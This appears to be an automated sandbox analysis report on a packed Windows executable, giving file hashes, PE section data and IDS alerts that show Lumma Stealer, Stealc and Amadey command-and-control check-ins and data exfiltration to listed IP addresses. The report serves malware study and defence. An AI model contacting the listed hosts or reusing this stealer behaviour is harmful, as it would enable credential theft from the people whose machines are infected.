Preview:	.........J...x%..IF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.556118397882354
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'008'000 bytes
MD5:	c46787c30a894fb065cab874cc71194f
SHA1:	5c1ccfdeb761ef93cfbf90f0f435d359cea4c11a
SHA256:	1c92aea47444412973dabc0493e6c97969392cecbb559fc264c8ecc70811f852
SHA512:	870e933de533c9b251bd8f3cb3a8428b72662c3467ff83921e0bfa679c29a81f7deb54e99865ff9ae608cdf8c66ebfb35392f739543a501182c82a5d9b42ad63
SSDEEP:	49152:hLaHG4zZU0/b+UylHl6SobWR1zwNgwmgBApq+IutjLc2N:daHGm+0DTyxUj6R1c3otHjLc2
TLSH:	4CD54A52A944F1DFD8CF1278D82BCD4A586F4BB9871008C7A86C74BE6D63CC529B7C68
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@.......................... 1...........@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6CDCEA844Ah
pinsrw mm5, word ptr [00000000h], 00h
jmp 00007F6CDCEAA445h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	98e71d4b4f4cf1600bc32cd3aa82c51d	False	0.9980346297021944	data	7.976206219598995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qawnjwpo	0x5b000	0x2b3000	0x2b2e00	bd66ff483edb725212a6945fc6936b10	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ogiigyxs	0x30e000	0x1000	0x600	1586a68c03672f77b23b6fc935c711e3	False	0.5579427083333334	data	4.8436329262907805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30f000	0x3000	0x2200	9c223abd08f6f798f2961594c3d8bf87	False	0.05974264705882353	DOS executable (COM)	0.7573398156458355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T08:52:45.199767+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	172.67.170.64	443	TCP
2024-10-26T08:52:45.199767+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	172.67.170.64	443	TCP
2024-10-26T08:52:46.747149+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	172.67.170.64	443	TCP
2024-10-26T08:52:46.747149+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	172.67.170.64	443	TCP
2024-10-26T08:52:48.239751+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49702	172.67.170.64	443	TCP
2024-10-26T08:52:58.588481+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49748	172.67.170.64	443	TCP
2024-10-26T08:53:36.942298+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49759	185.215.113.16	80	TCP
2024-10-26T08:53:41.342162+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49956	185.215.113.206	80	TCP
2024-10-26T08:53:51.976244+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49979	185.215.113.43	80	TCP
2024-10-26T08:53:55.408231+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49981	185.215.113.16	80	TCP
2024-10-26T08:54:04.246164+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49980	TCP
2024-10-26T08:54:05.180618+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49983	185.215.113.43	80	TCP
2024-10-26T08:54:05.574556+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49982	172.67.170.64	443	TCP
2024-10-26T08:54:05.574556+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49982	172.67.170.64	443	TCP
2024-10-26T08:54:06.121133+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49984	185.215.113.16	80	TCP
2024-10-26T08:54:06.863602+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49985	172.67.170.64	443	TCP
2024-10-26T08:54:06.863602+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49985	172.67.170.64	443	TCP
2024-10-26T08:54:14.750801+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49989	185.215.113.43	80	TCP
2024-10-26T08:54:15.537882+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49991	185.215.113.206	80	TCP
2024-10-26T08:54:15.679329+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49992	185.215.113.16	80	TCP
2024-10-26T08:54:21.291431+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49994	172.67.170.64	443	TCP
2024-10-26T08:54:22.821957+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49997	185.215.113.43	80	TCP
2024-10-26T08:54:23.153690+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49995	172.67.170.64	443	TCP
2024-10-26T08:54:23.153690+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49995	172.67.170.64	443	TCP
2024-10-26T08:54:23.805433+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49998	185.215.113.16	80	TCP
2024-10-26T08:54:23.805433+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49998	185.215.113.16	80	TCP
2024-10-26T08:54:24.524598+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49999	172.67.170.64	443	TCP
2024-10-26T08:54:24.524598+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49999	172.67.170.64	443	TCP
2024-10-26T08:54:27.768146+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50008	185.215.113.43	80	TCP
2024-10-26T08:54:39.333699+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49996	185.215.113.16	80	TCP
2024-10-26T08:54:43.858049+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50037	172.67.170.64	443	TCP
2024-10-26T08:54:50.947569+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50041	172.67.170.64	443	TCP
2024-10-26T08:54:55.774403+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50077	172.67.170.64	443	TCP
2024-10-26T08:54:55.774403+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50077	172.67.170.64	443	TCP
2024-10-26T08:54:57.035330+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50079	172.67.170.64	443	TCP
2024-10-26T08:54:57.035330+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50079	172.67.170.64	443	TCP
2024-10-26T08:54:59.374549+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50047	185.215.113.16	80	TCP
2024-10-26T08:55:03.613693+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	50090	172.67.170.64	443	TCP
2024-10-26T08:55:05.774833+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50092	172.67.170.64	443	TCP
2024-10-26T08:55:15.233884+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50096	185.215.113.16	80	TCP
2024-10-26T08:55:19.176663+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50120	185.215.113.206	80	TCP
2024-10-26T08:55:46.235168+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50158	185.215.113.206	80	TCP
2024-10-26T08:55:47.836081+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50168	185.215.113.206	80	TCP
2024-10-26T08:56:13.454982+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50186	185.215.113.206	80	TCP
2024-10-26T08:56:18.509856+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50197	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 08:52:43.866543055 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:43.866604090 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:43.866688013 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:43.872484922 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:43.872498989 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:44.740670919 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:44.740747929 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:44.746206999 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:44.746217966 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:44.746514082 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:44.791331053 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:44.804440022 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:44.804440975 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:44.804697037 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:45.199793100 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:45.199899912 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:45.199981928 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:45.201500893 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:45.201519966 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:45.201684952 CEST	49699	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:45.201692104 CEST	443	49699	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:45.281131983 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:45.281194925 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:45.281290054 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:45.281848907 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:45.281889915 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.148380995 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.148488998 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.307939053 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.308017969 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.308954000 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.315727949 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.315727949 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.316056013 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747155905 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747204065 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747250080 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747253895 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.747265100 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747277021 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747333050 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.747350931 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.747396946 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.747927904 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.749716043 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.749766111 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.749777079 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.790826082 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.790858984 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.837702990 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.864732981 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.864940882 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.865005970 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.865032911 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.865518093 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.865587950 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.865597010 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.865737915 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.865797043 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.865845919 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.865861893 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.865880013 CEST	49700	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.865885973 CEST	443	49700	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.985024929 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.985085964 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:46.985177040 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.985501051 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:46.985522032 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:47.630820036 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:47.630918026 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:47.632253885 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:47.632273912 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:47.632529020 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:47.633829117 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:47.634074926 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:47.634120941 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:48.239821911 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:48.240078926 CEST	443	49702	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:48.240148067 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:48.240148067 CEST	49702	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:48.358407021 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:48.358443975 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:48.358519077 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:48.358870983 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:48.358886957 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:49.200892925 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:49.201190948 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:49.599767923 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:49.599808931 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:49.600287914 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:49.601505041 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:49.601655960 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:49.601691961 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:49.601763964 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:49.601772070 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:50.179929018 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:50.180037022 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:50.180098057 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:50.183387995 CEST	49703	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:50.183412075 CEST	443	49703	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:50.520550013 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:50.520601988 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:50.520673990 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:50.521045923 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:50.521059036 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:51.172435999 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:51.172620058 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:51.179606915 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:51.179630995 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:51.179980040 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:51.181818008 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:51.182002068 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:51.182038069 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:51.182116032 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:51.182127953 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:52.023785114 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:52.023890018 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:52.024002075 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:52.024221897 CEST	49709	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:52.024239063 CEST	443	49709	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:53.166456938 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:53.166511059 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:53.166594982 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:53.167057037 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:53.167077065 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.029278040 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.029427052 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.030700922 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.030731916 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.030972958 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.032284021 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.032366037 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.032378912 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.403940916 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.404196978 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.404328108 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.404329062 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.712750912 CEST	49725	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.712826967 CEST	443	49725	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.867687941 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.867743969 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:54.867820024 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.868182898 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:54.868200064 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.732527971 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.732805014 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.734143019 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.734152079 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.734457016 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.742155075 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.743066072 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.743104935 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.743216991 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.743249893 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.743417978 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.743451118 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.743659019 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.743690014 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.744263887 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.744292974 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.744436979 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.744472027 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.744488001 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.744496107 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.744649887 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.744677067 CEST	443	49736	172.67.170.64	192.168.2.7
Oct 26, 2024 08:52:55.744709015 CEST	49736	443	192.168.2.7	172.67.170.64
Oct 26, 2024 08:52:55.744982958 CEST	49736	443	192.168.2.7	172.67.170.64
